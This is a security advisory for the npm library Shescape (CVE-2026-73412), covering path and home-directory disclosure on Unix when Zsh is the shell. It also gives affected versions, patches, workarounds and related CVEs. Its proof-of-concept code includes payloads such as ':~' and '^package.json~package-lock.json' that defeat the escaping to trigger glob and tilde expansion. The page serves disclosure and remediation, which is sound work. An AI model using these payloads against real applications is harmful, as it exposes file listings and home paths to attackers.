CVE-2026-73412: Shescape: Path disclosure on Unix with Zsh
Impact This impacts users of Shescape on Unix systems that explicitly configure shell to Zsh, or true when the default shell is Zsh, using the escape and escapeAll. The Zsh options EXTENDEDGLOB and MAGICEQUALSUBST exacerbate the problem. In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system.
Published Jul 24, 2026 · Updated Aug 12, 2026
Affected packages
shescape
- Ecosystem
- npm
- Affected
- < 2.1.14
- Fixed in
- 2.1.14
- Check
npm ls shescape
shescape
- Ecosystem
- npm
- Affected
- >= 3.0.0, < 3.0.1
- Fixed in
- 3.0.1
- Check
npm ls shescape
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
This impacts users of Shescape on Unix systems that explicitly configure shell to Zsh, or true when the default shell is Zsh, using the escape and escapeAll. The Zsh options EXTENDED_GLOB and MAGIC_EQUAL_SUBST exacerbate the problem.
In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information.
Without option / with MAGIC_EQUAL_SUBST
import * as cp from "node:child_process";
import { Shescape } from "shescape";
// 1. Prerequisites
const options = {
shell: "zsh",
// Or
shell: true, // Only if the default shell is Zsh
};
// 2. Payload
const payload1 = ":~";
// Or
const payload2 = "a=~"; // requires MAGIC_EQUAL_SUBST
// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;
escapedPayload = shescape.escape(payload1);
// Or
escapedPayload = shescape.escapeAll([payload1]);
// And (example)
const result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options);
// Or
escapedPayload = shescape.escape(payload2);
// Or
escapedPayload = shescape.escapeAll([payload2]);
// And (example)
const result2 = cp.execSync(`echo ${escapedPayload}`, options);
// 4. Impact
console.log("", result1.toString().trim(), "\n", result2.toString().trim());
// Outputs ":" followed by the user's home directory on one line and "a="
// followed by the user's home directory (under MAGIC_EQUAL_SUBST) on the next.With EXTENDED_GLOB
import * as cp from "node:child_process";
import { Shescape } from "shescape";
// 1. Prerequisites
const options = {
shell: "zsh",
// Or
shell: true, // Only if the default shell is Zsh
};
// And (example)
// `setopt EXTENDED_GLOB` in ~/.zshenv
// 2. Payload
let payload;
payload = "pa#ckage.json";
// Or
payload = "^package.json~package-lock.json";
// Or
payload = "^nonexistent";
// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;
escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);
// And (example)
const result = cp.execSync(`echo ${escapedPayload}`, options);
// 4. Impact
console.log(result.toString());
// Outputs files and directories in the current directoryPatches
This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.
If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.
No patches will be released for version of Shescape lower than v2.0.0.
Workarounds
Alternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the EXTENDED_GLOB option is disabled, 3) remove all instances of ^, #, and ~ from untrusted inputs.
For more information
- Comment on Pull Request [#2651] for v2 and [#2649] for v3
- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3
- Open an issue at (New issue > Question)
Credited to oran-s, ericcornelissen.
References
- https://github.com/ericcornelissen/shescape/security/advisories/GHSA-6v4m-fw66-8r4x
- https://github.com/ericcornelissen/shescape/pull/2649
- https://github.com/ericcornelissen/shescape/pull/2651
- https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de
- https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f
- https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md
- https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14
- https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1
- https://github.com/advisories/GHSA-6v4m-fw66-8r4x
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-73411
Shescape: Home-directory disclosure in assignment context on Unix with Dash
medium6.3Jul 24, 2026CVE-2026-73413
Shescape: Quadratic-time denial of service in the flag-protection
high8.7Jul 24, 2026CVE-2026-73414
Shescape: Shell injection via unescaped parentheses on Windows with CMD
critical9.2Jul 24, 2026CVE-2026-32094
Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash
medium6.9Mar 11, 2026CVE-2025-30222
Shescape has potential environment variable exposure on Windows with CMD
low2.1Mar 26, 2025
